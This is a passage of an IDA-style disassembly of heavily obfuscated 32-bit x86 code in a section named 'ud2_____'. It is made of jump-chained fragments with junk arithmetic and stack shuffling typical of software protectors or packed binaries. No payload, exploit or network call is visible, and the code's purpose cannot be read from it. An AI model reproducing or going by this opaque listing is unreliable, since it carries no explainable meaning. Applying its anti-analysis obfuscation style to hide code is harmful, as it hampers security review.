		push	edx
		jmp	loc_58042C
; ---------------------------------------------------------------------------


loc_58DC2D:				; CODE XREF: ud2_____:005808A0j
		sub	esi, 6B87069Fh
		jmp	loc_58965C
; ---------------------------------------------------------------------------


loc_58DC38:				; CODE XREF: ud2_____:005828BCj
		pop	eax
		jmp	loc_57FCB5
; ---------------------------------------------------------------------------


loc_58DC3E:				; CODE XREF: ud2_____:0058A176j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59072C
; ---------------------------------------------------------------------------


loc_58DC4D:				; CODE XREF: ud2_____:00580312j
		not	al
		push	ecx
		mov	cl, 9Eh
		add	cl, 0A6h
		jmp	loc_584D95
; ---------------------------------------------------------------------------


loc_58DC5A:				; CODE XREF: ud2_____:00588D74j
		xchg	eax, [esp]
		mov	esp, [esp]
		mul	cx
		jmp	loc_584B9F
; ---------------------------------------------------------------------------


loc_58DC68:				; CODE XREF: ud2_____:0059107Dj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	fs:[edx], ax
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58DC77:				; CODE XREF: ud2_____:00583D06j
		xor	ecx, 4D537B5h
		sub	ebp, 705719Fh
		add	ebp, 467303EBh
		push	eax
		mov	eax, 1C4322A2h
		inc	eax
		add	eax, 2ED404Ch
		xor	eax, 64E61310h
		jmp	loc_587A87
; ---------------------------------------------------------------------------


loc_58DC9F:				; CODE XREF: ud2_____:005924F9j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58DCA4:				; CODE XREF: ud2_____:0057EB3Cj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_57E2E5
; ---------------------------------------------------------------------------


loc_58DCB9:				; CODE XREF: ud2_____:00580348j
		sub	bl, 51h
		add	bl, 68h
		push	eax
		jmp	loc_588714
; ---------------------------------------------------------------------------


loc_58DCC5:				; CODE XREF: ud2_____:0058385Ej
		add	ecx, 4774424h
		jmp	loc_581B46
; ---------------------------------------------------------------------------


loc_58DCD0:				; CODE XREF: ud2_____:00583665j
		shr	esi, 7
		jmp	loc_589418
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5880AD
; ---------------------------------------------------------------------------


loc_58DCE4:				; CODE XREF: ud2_____:00584ED6j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_57F8D6
; ---------------------------------------------------------------------------


loc_58DD09:				; CODE XREF: ud2_____:00583EDFj
		mov	[edi+24h], ecx
		mov	ecx, [esp]
		push	edi
		jmp	loc_58950A
; ---------------------------------------------------------------------------


loc_58DD15:				; CODE XREF: ud2_____:0058DF93j
		pop	ebx
		sub	ebx, 24720C5Dh
		mov	ecx, ebx
		jmp	loc_580132
; ---------------------------------------------------------------------------


loc_58DD23:				; CODE XREF: ud2_____:0058485Aj
		push	ecx
		mov	ecx, 1E131D7h
		and	ecx, 63B338C7h
		sub	ecx, 1A130C3h
		push	609Eh
		mov	[esp], ebx
		mov	ebx, ecx
		mov	edi, ebx
		pop	ebx
		jmp	loc_588B3E
; ---------------------------------------------------------------------------


loc_58DD47:				; CODE XREF: ud2_____:00592F90j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 5BB4624Dh
		neg	ebx
		inc	ebx
		sub	ebx, 0A44B9DB0h
		jmp	loc_591CDF
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebp
		push	53103BBEh
		jmp	loc_588359
; ---------------------------------------------------------------------------


loc_58DD7E:				; CODE XREF: ud2_____:00584911j
		add	eax, 77400DE0h
		mov	esi, [esp]
		sub	esp, 4
		jmp	loc_584056
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 12D66824h, 3C890000h, 4EC8324h, 0FFA1A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DDA1:				; CODE XREF: ud2_____:00590F05j
		sub	dword ptr [esp], 43496DC4h
		jmp	loc_5803C4
; ---------------------------------------------------------------------------


loc_58DDAD:				; CODE XREF: ud2_____:00590AD6j
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		push	531Ah
		mov	[esp], ebx
		mov	ebx, 56535212h
		add	esi, 40871EFEh
		jmp	loc_57F5C0
; ---------------------------------------------------------------------------


loc_58DDCE:				; CODE XREF: ud2_____:00590632j
		push	eax
		jmp	loc_584457
; ---------------------------------------------------------------------------


loc_58DDD4:				; CODE XREF: ud2_____:0057EA42j
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		push	edx
		push	esi
		mov	esi, 4
		mov	edx, esi
		pop	esi
		add	eax, edx
		pop	edx
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_590ECB
; ---------------------------------------------------------------------------


loc_58DDFF:				; CODE XREF: ud2_____:0058C260j
		push	ebx
		mov	ebx, 2BC27637h
		sub	eax, 518C49D5h
		jmp	loc_591816
; ---------------------------------------------------------------------------


loc_58DE0F:				; CODE XREF: ud2_____:0057EE9Cj
		add	[esp+4], bp
		jmp	loc_586110
; ---------------------------------------------------------------------------


loc_58DE19:				; CODE XREF: ud2_____:00585093j
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	1753h
		mov	[esp], ecx
		mov	ecx, eax
		jmp	loc_57EB48
; ---------------------------------------------------------------------------


loc_58DE31:				; CODE XREF: ud2_____:0058D446j
		pop	esp
		sub	[esp+4], eax
		jmp	loc_5888B3
; ---------------------------------------------------------------------------


loc_58DE3B:				; CODE XREF: ud2_____:0058CB0Ej
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		push	7F61h
		jmp	loc_586063
; ---------------------------------------------------------------------------


loc_58DE61:				; CODE XREF: ud2_____:00586307j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_5881C6
; ---------------------------------------------------------------------------


loc_58DE80:				; CODE XREF: ud2_____:005913C7j
		not	ebp
		xor	ebp, 8DD9D02Bh
		jmp	loc_58C44C
; ---------------------------------------------------------------------------


loc_58DE8D:				; CODE XREF: ud2_____:005836B2j
		add	ecx, esi
		sub	ecx, 3BD569Eh
		push	dword ptr [esp]
		jmp	loc_58BB5C
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_582DA3
; ---------------------------------------------------------------------------


loc_58DEA5:				; CODE XREF: ud2_____:005893B5j
		push	4
		pop	ecx
		add	edi, 4FBD5E94h
		add	edi, 783C686Bh
		sub	edi, 4E581495h
		add	edi, ecx
		push	edx
		mov	edx, 4E581495h
		add	edi, edx
		jmp	loc_5802CE
; ---------------------------------------------------------------------------


loc_58DECC:				; CODE XREF: ud2_____:0058AB76j
		xor	ecx, 2A0652F4h
		sub	ecx, 9C68D36Fh
		jmp	loc_581427
; ---------------------------------------------------------------------------


loc_58DEDD:				; CODE XREF: ud2_____:0058EC4Bj
		mov	ebp, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	edi
		push	eax
		mov	eax, 474A3C20h
		not	eax
		and	eax, 701754C5h
		push	ebx
		mov	ebx, 3CCB5F88h
		sub	eax, ebx
		pop	ebx
		shl	eax, 2
		push	ebx
		mov	ebx, 46063E74h
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57F202
; ---------------------------------------------------------------------------


loc_58DF16:				; CODE XREF: ud2_____:0058BB3Fj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		push	edx
		mov	edx, 4
		jmp	loc_57E20E
; ---------------------------------------------------------------------------


loc_58DF2D:				; CODE XREF: ud2_____:005918F3j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58D033
; ---------------------------------------------------------------------------


loc_58DF3B:				; CODE XREF: ud2_____:0058E880j
		push	esi
		mov	esi, 4
		jmp	loc_587A99
; ---------------------------------------------------------------------------


loc_58DF46:				; CODE XREF: ud2_____:00589C76j
		sub	edi, 7EB364E8h
		shl	edi, 2
		xor	edi, 6BBCF0E0h
		sub	esi, edi
		jmp	loc_592EC3
; ---------------------------------------------------------------------------


loc_58DF5C:				; CODE XREF: ud2_____:0058928Fj
		pop	eax
		jmp	loc_58C96C
; ---------------------------------------------------------------------------


loc_58DF62:				; CODE XREF: ud2_____:005908A2j
		mov	edx, esp
		add	edx, 4
		push	469Dh
		mov	[esp], ebp
		push	edi
		push	ebx
		jmp	loc_583F2D
; ---------------------------------------------------------------------------


loc_58DF79:				; CODE XREF: ud2_____:00585295j
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		xor	[ecx], esi
		pop	ecx
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	24720C81h
		jmp	loc_58DD15
; ---------------------------------------------------------------------------


loc_58DF98:				; CODE XREF: ud2_____:00588F3Fj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	368Bh
		mov	[esp], ebp
		jmp	loc_589333
; ---------------------------------------------------------------------------


loc_58DFB2:				; CODE XREF: ud2_____:0058E55Aj
		mov	ecx, 2C21DBABh
		xor	ebx, ecx
		pop	ecx
		push	7185h
		jmp	loc_586F83
; ---------------------------------------------------------------------------


loc_58DFC4:				; CODE XREF: ud2_____:005852AFj
		add	dh, 60h
		add	al, dh
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		push	small 0AA8h
		mov	[esp], ax
		push	ebx
		mov	bh, 0AFh
		mov	ah, bh
		pop	ebx
		sub	bl, 26h
		add	bl, ah
		add	bl, 26h
		pop	ax
		push	ecx
		jmp	loc_57E107
; ---------------------------------------------------------------------------


loc_58DFF1:				; CODE XREF: ud2_____:0058773Fj
		add	bl, 35h
		sub	bl, cl
		jmp	loc_5873B4
; ---------------------------------------------------------------------------


loc_58DFFB:				; CODE XREF: ud2_____:0058993Cj
		push	ebx
		mov	ebx, esp
		push	edi
		push	ebp
		mov	ebp, 55294E6Eh
		or	ebp, 65880F44h
		push	edi
		mov	edi, 6DBB397Dh
		jmp	loc_583458
; ---------------------------------------------------------------------------


loc_58E016:				; CODE XREF: ud2_____:0057EE8Bj
		add	edi, esi
		pop	esi
		jmp	loc_58B0B1
; ---------------------------------------------------------------------------


loc_58E01E:				; CODE XREF: ud2_____:005908F2j
		mov	ch, 0E2h
		sub	al, ch
		pop	cx
		push	bx
		jmp	loc_59129D
; ---------------------------------------------------------------------------


loc_58E02B:				; CODE XREF: ud2_____:00591C2Cj
		add	edi, 62E70699h
		xor	edi, 9DBE0CA1h
		add	edx, 5EFE7F44h
		add	edx, 437371E8h
		jmp	loc_58C555
; ---------------------------------------------------------------------------


loc_58E048:				; CODE XREF: ud2_____:00588152j
		mov	[esp], ecx
		push	ebp
		push	7C627BEh
		mov	ebp, [esp]
		add	esp, 4
		dec	ebp
		add	ebp, 3647E95h
		inc	ebp
		add	ebp, 0F4D559B1h
		jmp	loc_58B72C
; ---------------------------------------------------------------------------


loc_58E06D:				; CODE XREF: ud2_____:00583A3Dj
		mov	eax, 824299Eh
		not	eax
		jmp	loc_5810C1
; ---------------------------------------------------------------------------


loc_58E079:				; CODE XREF: ud2_____:00582D51j
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_59282B
; ---------------------------------------------------------------------------


loc_58E083:				; CODE XREF: ud2_____:0057EAA9j
		push	edx
		mov	edx, 49FB7A65h
		or	edx, 30520B41h
		jmp	loc_5922EF
; ---------------------------------------------------------------------------


loc_58E094:				; CODE XREF: ud2_____:00588214j
		push	ebp
		push	482Ah
		mov	[esp], ebx
		jmp	loc_580C47
; ---------------------------------------------------------------------------


loc_58E0A2:				; CODE XREF: ud2_____:00583A19j
		push	edx
		push	55C0h
		mov	[esp], eax
		mov	eax, 6D930EB4h
		push	ebp
		push	0A74323Bh
		jmp	loc_58F588
; ---------------------------------------------------------------------------


loc_58E0BB:				; CODE XREF: ud2_____:0058B07Ej
		mov	[esp], edi
		mov	edi, 965526Dh
		dec	edi
		not	edi
		and	edi, 261D457Dh
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		jmp	loc_57F963
; ---------------------------------------------------------------------------


loc_58E0DB:				; CODE XREF: ud2_____:0058D4AEj
		add	esp, 4
		push	ecx
		push	edi
		mov	edi, 615A4404h
		sub	edi, 8E86450h
		neg	edi
		push	ebx
		jmp	loc_5818D7
; ---------------------------------------------------------------------------


loc_58E0F6:				; CODE XREF: ud2_____:0058B012j
		add	[esp+4], esi
		sub	dword ptr [esp+4], 774550ECh
		sub	dword ptr [esp+4], 72F71C8Eh
		sub	dword ptr [esp+4], 308456A2h
		add	dword ptr [esp+4], 3CD41BE8h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58DB79
; ---------------------------------------------------------------------------


loc_58E13A:				; CODE XREF: ud2_____:00584632j
		add	edx, eax
		pop	eax
		push	ebp
		jmp	loc_58D3BB
; ---------------------------------------------------------------------------


loc_58E143:				; CODE XREF: ud2_____:0057FF63j
		sub	ecx, 0AF087F7Fh
		sub	edi, ecx
		pop	ecx
		pop	eax
		push	433Bh
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_585A19
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1D2Eh
		mov	[esp], ecx
		jmp	loc_5800B2
; ---------------------------------------------------------------------------


loc_58E16F:				; CODE XREF: ud2_____:00587B7Fj
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		jmp	loc_58A813
; ---------------------------------------------------------------------------


loc_58E183:				; CODE XREF: ud2_____:0058818Dj
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	eax
		mov	eax, 23FA1E9Fh
		inc	eax
		not	eax
		shr	eax, 1
		jmp	loc_57E7AF
; ---------------------------------------------------------------------------


loc_58E19C:				; CODE XREF: ud2_____:0058E34Bj
		add	edx, ebx
		push	edi
		mov	edi, 1E783DC6h
		sub	edx, 2C230528h
		sub	edx, edi
		jmp	loc_588236
; ---------------------------------------------------------------------------


loc_58E1B1:				; CODE XREF: ud2_____:0058C44Ej
		pop	ebp
		xchg	eax, ebx
		jmp	loc_59053B
; ---------------------------------------------------------------------------


loc_58E1B8:				; CODE XREF: ud2_____:00590D63j
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58C88E
; ---------------------------------------------------------------------------


loc_58E1C9:				; CODE XREF: ud2_____:00588E82j
		mov	ah, bl
		mov	dh, ah
		pop	eax
		pop	ebx
		push	eax
		mov	ah, dh
		mov	cl, ah
		jmp	loc_5817E3
; ---------------------------------------------------------------------------


loc_58E1D9:				; CODE XREF: ud2_____:00589E05j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		jmp	loc_58A597
; ---------------------------------------------------------------------------


loc_58E1E9:				; CODE XREF: ud2_____:00588B1Ej
		add	ebp, esi
		jmp	loc_5835C3
; ---------------------------------------------------------------------------


loc_58E1F0:				; CODE XREF: ud2_____:0057E54Dj
		sub	edi, 3AF413FFh
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_586E50
; ---------------------------------------------------------------------------


loc_58E1FF:				; CODE XREF: ud2_____:0057E111j
		mov	ebp, ebx
		pop	ebx
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_58DBCB
; ---------------------------------------------------------------------------


loc_58E20D:				; CODE XREF: ud2_____:0058AFB7j
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	eax, 775001A4h
		add	eax, ebp
		sub	eax, 775001A4h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_57F63B
; ---------------------------------------------------------------------------


loc_58E246:				; CODE XREF: ud2_____:00580F68j
		pop	ecx
		push	small 4AB2h
		mov	[esp], bx
		jmp	loc_586C3A
; ---------------------------------------------------------------------------


loc_58E254:				; CODE XREF: ud2_____:0057EEB9j
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_58E9A1
; ---------------------------------------------------------------------------


loc_58E25F:				; CODE XREF: ud2_____:0058AC6Fj
		push	8A3h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_59043A
; ---------------------------------------------------------------------------


loc_58E26E:				; CODE XREF: ud2_____:0058D48Dj
		add	[edx], ebx
		pop	edx
		jmp	loc_58E646
; ---------------------------------------------------------------------------


loc_58E276:				; CODE XREF: ud2_____:005905A2j
		pop	eax
		add	edi, ebx
		pop	ebx
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_585A02
; ---------------------------------------------------------------------------


loc_58E28E:				; CODE XREF: ud2_____:00591BE1j
		push	4F0Ch
		mov	[esp], edi
		push	6B7Ch
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_57E417
; ---------------------------------------------------------------------------


loc_58E2AE:				; CODE XREF: ud2_____:00580618j
		push	eax
		mov	eax, 37555CC0h
		xor	ebx, eax
		pop	eax
		xor	ebx, 363E4D34h
		push	ebx
		mov	ebx, 1E54068Eh
		or	ebx, 435659F2h
		dec	ebx
		jmp	loc_587B9F
; ---------------------------------------------------------------------------


loc_58E2CF:				; CODE XREF: ud2_____:0058BB57j
		mov	ebx, ebp
		pop	ebp
		add	edx, ebx
		pop	ebx
		pop	esi
		add	edx, eax
		sub	edx, 19B47349h
		add	edx, 69D8546Ah
		pop	eax
		and	eax, edx
		pop	edx
		or	eax, eax
		jmp	loc_589A71
; ---------------------------------------------------------------------------


loc_58E2EF:				; CODE XREF: ud2_____:005839DEj
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, ecx
		mov	ebp, edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	ebp, 59A066BFh
		push	eax
		jmp	loc_5836DE
; ---------------------------------------------------------------------------


loc_58E311:				; CODE XREF: ud2_____:005886A2j
		dec	ch
		jmp	loc_57E40F
; ---------------------------------------------------------------------------


loc_58E318:				; CODE XREF: ud2_____:0058EBB6j
		dec	ecx
		jmp	loc_59198F
; ---------------------------------------------------------------------------


loc_58E31E:				; CODE XREF: ud2_____:00590AA0j
		xor	edx, ebx
		pop	ebx
		jmp	loc_58549B
; ---------------------------------------------------------------------------


loc_58E326:				; CODE XREF: ud2_____:005920FCj
		push	ecx
		mov	ecx, 2
		sub	esp, 4
		jmp	loc_588F4C
; ---------------------------------------------------------------------------


loc_58E337:				; CODE XREF: ud2_____:0058F412j
		add	esp, 4
		pop	edi
		push	edx
		push	0
		pop	edx
		add	edx, 1E783DC6h
		jmp	loc_58E19C
; ---------------------------------------------------------------------------


loc_58E350:				; CODE XREF: ud2_____:00590558j
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_585204
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_58FE04
; ---------------------------------------------------------------------------


loc_58E37E:				; CODE XREF: ud2_____:0058A1F3j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	4805h
		jmp	loc_58F925
; ---------------------------------------------------------------------------


loc_58E395:				; CODE XREF: ud2_____:0057EC5Bj
		push	ebp
		mov	ebp, 9520900h
		sub	edi, ebp
		jmp	loc_585D8B
; ---------------------------------------------------------------------------


loc_58E3A2:				; CODE XREF: ud2_____:0058E5CAj
		push	esi
		jmp	loc_58E406
; ---------------------------------------------------------------------------


loc_58E3A8:				; CODE XREF: ud2_____:00582D9Ej
		push	small 449Dh
		jmp	loc_57FD3D
; ---------------------------------------------------------------------------


loc_58E3B1:				; CODE XREF: ud2_____:00580719j
		xchg	ecx, ebp
		or	ebp, 70E71AE2h
		and	ebp, 68F66272h
		jmp	loc_590F0A
; ---------------------------------------------------------------------------


loc_58E3C4:				; CODE XREF: ud2_____:00587262j
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_58E5F0
; ---------------------------------------------------------------------------


loc_58E3CE:				; CODE XREF: ud2_____:0058D5D1j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58387A
; ---------------------------------------------------------------------------


loc_58E3DF:				; CODE XREF: ud2_____:00589FCEj
		push	edx
		push	eax
		mov	eax, 5E215338h
		neg	eax
		jmp	loc_5853B8
; ---------------------------------------------------------------------------


loc_58E3ED:				; CODE XREF: ud2_____:00588C4Ej
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	6CB5h
		mov	[esp], esi
		jmp	loc_58F55E
; ---------------------------------------------------------------------------


loc_58E406:				; CODE XREF: ud2_____:0058E3A3j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58AF13
; ---------------------------------------------------------------------------


loc_58E41A:				; CODE XREF: ud2_____:0058CB2Aj
		add	esp, 4
		shl	ebp, 8
		shl	ebp, 4
		add	ebp, 4C874D9Bh
		mov	edx, ebp
		pop	ebp
		push	eax
		mov	eax, 66E41338h
		jmp	loc_58376A
; ---------------------------------------------------------------------------


loc_58E43A:				; CODE XREF: ud2_____:0058FDD9j
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		not	ebx
		jmp	loc_59161D
; ---------------------------------------------------------------------------


loc_58E447:				; CODE XREF: ud2_____:005848CAj
		add	ecx, esi
		jmp	loc_58B3F8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58F68F
; ---------------------------------------------------------------------------


loc_58E457:				; CODE XREF: ud2_____:0058ED45j
		push	edx
		mov	edx, 4EFE1C36h
		shl	edx, 2
		sub	edx, 1B01413Fh
		add	ebp, edx
		jmp	loc_588CAC
; ---------------------------------------------------------------------------


loc_58E46D:				; CODE XREF: ud2_____:0057EFCFj
		mov	[esp], eax
		push	edi
		mov	edi, 62B5205Bh
		jmp	loc_57F716
; ---------------------------------------------------------------------------


loc_58E47B:				; CODE XREF: ud2_____:0058994Bj
		mov	esp, [esp]
		jmp	loc_58C9AD
; ---------------------------------------------------------------------------


loc_58E483:				; CODE XREF: ud2_____:005852E9j
		and	eax, ecx
		jmp	loc_58FF85
; ---------------------------------------------------------------------------


loc_58E48A:				; CODE XREF: ud2_____:0057F0C0j
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_585172
; ---------------------------------------------------------------------------


loc_58E49B:				; CODE XREF: ud2_____:005813D9j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_581815
; ---------------------------------------------------------------------------


loc_58E4B4:				; CODE XREF: ud2_____:00583745j
		push	ecx
		mov	ecx, 7E90E95h
		and	ecx, 155607A3h
		and	ecx, 266F6966h
		push	77E6h
		jmp	loc_58AD74
; ---------------------------------------------------------------------------


loc_58E4D0:				; CODE XREF: ud2_____:00585335j
		pop	edi
		add	edi, 0F020763h
		shl	edi, 4
		push	esi
		mov	esi, 61706DD4h
		dec	esi
		add	esi, 772129F5h
		jmp	loc_5804B2
; ---------------------------------------------------------------------------


loc_58E4EC:				; CODE XREF: ud2_____:005922EAj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_58EB59
; ---------------------------------------------------------------------------


loc_58E509:				; CODE XREF: ud2_____:0057F086j
		sub	ecx, 2EA21F92h
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_58CC59
; ---------------------------------------------------------------------------


loc_58E519:				; CODE XREF: ud2_____:005889A2j
		sub	ebx, 42287016h
		add	ebx, 4B0D521Bh
		jmp	loc_5814BB
; ---------------------------------------------------------------------------


loc_58E52A:				; CODE XREF: ud2_____:0058E796j
		push	ebx
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, eax
		jmp	loc_5836D6
; ---------------------------------------------------------------------------


loc_58E53E:				; CODE XREF: ud2_____:00589857j
		xor	eax, ebp
		push	esi
		jmp	loc_58296F
; ---------------------------------------------------------------------------


loc_58E546:				; CODE XREF: ud2_____:00592D76j
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_583EC0
; ---------------------------------------------------------------------------


loc_58E551:				; CODE XREF: ud2_____:0058331Fj
		shr	ebx, 3
		jmp	loc_58275D
; ---------------------------------------------------------------------------


loc_58E559:				; CODE XREF: ud2_____:0058C3A4j
		push	ecx
		jmp	loc_58DFB2
; ---------------------------------------------------------------------------


loc_58E55F:				; CODE XREF: ud2_____:00583634j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	eax
		mov	eax, 2
		jmp	loc_591E2B
; ---------------------------------------------------------------------------


loc_58E574:				; CODE XREF: ud2_____:0058E7A3j
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		add	ebx, edi
		pop	edi
		push	eax
		mov	eax, 2
		add	ebx, eax
		jmp	loc_58AD9C
; ---------------------------------------------------------------------------


loc_58E596:				; CODE XREF: ud2_____:0058C112j
		dec	ebx
		push	ebp
		push	esi
		push	6E35EF5h
		pop	esi
		shl	esi, 8
		jmp	loc_58B6FB
; ---------------------------------------------------------------------------


loc_58E5A7:				; CODE XREF: ud2_____:00584CB3j
		xor	ebx, [esp]
		jmp	loc_581467
; ---------------------------------------------------------------------------


loc_58E5AF:				; CODE XREF: ud2_____:0058CB8Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		push	edx
		mov	edx, 3D232031h
		mov	ebx, edx
		mov	edx, [esp]
		jmp	loc_58E3A2
; ---------------------------------------------------------------------------


loc_58E5CF:				; CODE XREF: ud2_____:0058BD6Dj
		mov	[esp], ax
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58E5D8:				; CODE XREF: ud2_____:005851EBj
		mov	[esp], cx
		mov	ch, 0BAh
		jmp	loc_58ABCD
; ---------------------------------------------------------------------------


loc_58E5E3:				; CODE XREF: ud2_____:00586D7Fj
		shl	esi, 1
		xchg	ecx, esi
		neg	ecx
		xchg	ecx, esi
		jmp	loc_591190
; ---------------------------------------------------------------------------


loc_58E5F0:				; CODE XREF: ud2_____:0058E3C9j
		add	esp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_57E7B9
; ---------------------------------------------------------------------------


loc_58E5FF:				; CODE XREF: ud2_____:00588D69j
		add	edi, ecx
		add	edi, 81F7596h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57EBC0
; ---------------------------------------------------------------------------


loc_58E612:				; CODE XREF: ud2_____:00584F1Aj
		push	1122h
		mov	[esp], ebp
		jmp	loc_57E5EF
; ---------------------------------------------------------------------------


loc_58E61F:				; CODE XREF: ud2_____:005801A0j
		mov	bl, 4
		push	eax
		jmp	loc_58DB09
; ---------------------------------------------------------------------------


loc_58E627:				; CODE XREF: ud2_____:00592728j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	44A2h
		jmp	loc_58BDFC
; ---------------------------------------------------------------------------


loc_58E646:				; CODE XREF: ud2_____:0058E271j
		pop	ebx


loc_58E647:				; CODE XREF: ud2_____:00580723j
		push	9C8h
		jmp	loc_585FD0
; ---------------------------------------------------------------------------


loc_58E651:				; CODE XREF: ud2_____:0058036Aj
		pop	edx
		sub	ebp, 1
		jmp	loc_5861D0
; ---------------------------------------------------------------------------


loc_58E65D:				; CODE XREF: ud2_____:005924C5j
		add	edi, 0C4478E24h
		add	ecx, edi
		pop	edi
		push	esi
		mov	esi, 2
		jmp	loc_5836AC
; ---------------------------------------------------------------------------


loc_58E671:				; CODE XREF: ud2_____:005840E9j
		dec	ecx
		sub	ecx, 0C7364AFCh
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57F846
; ---------------------------------------------------------------------------


loc_58E688:				; CODE XREF: ud2_____:0057F1BEj
		add	esp, 4
		jmp	loc_587BE8
; ---------------------------------------------------------------------------


loc_58E690:				; CODE XREF: ud2_____:005858A5j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_57E59B
; ---------------------------------------------------------------------------


loc_58E69B:				; CODE XREF: ud2_____:0058D0EEj
		push	0D8F7E8Ah
		pop	esi
		neg	esi
		and	esi, 1C383EB9h
		xor	esi, 4FC501C4h
		mov	ebp, esi
		jmp	loc_589C9D
; ---------------------------------------------------------------------------


loc_58E6B6:				; CODE XREF: ud2_____:00583BFEj
		mov	dh, 73h
		push	bx
		mov	bh, 0AFh
		jmp	loc_58182C
; ---------------------------------------------------------------------------


loc_58E6C1:				; CODE XREF: ud2_____:0058478Dj
		push	esi
		push	31ECh
		mov	[esp], esp
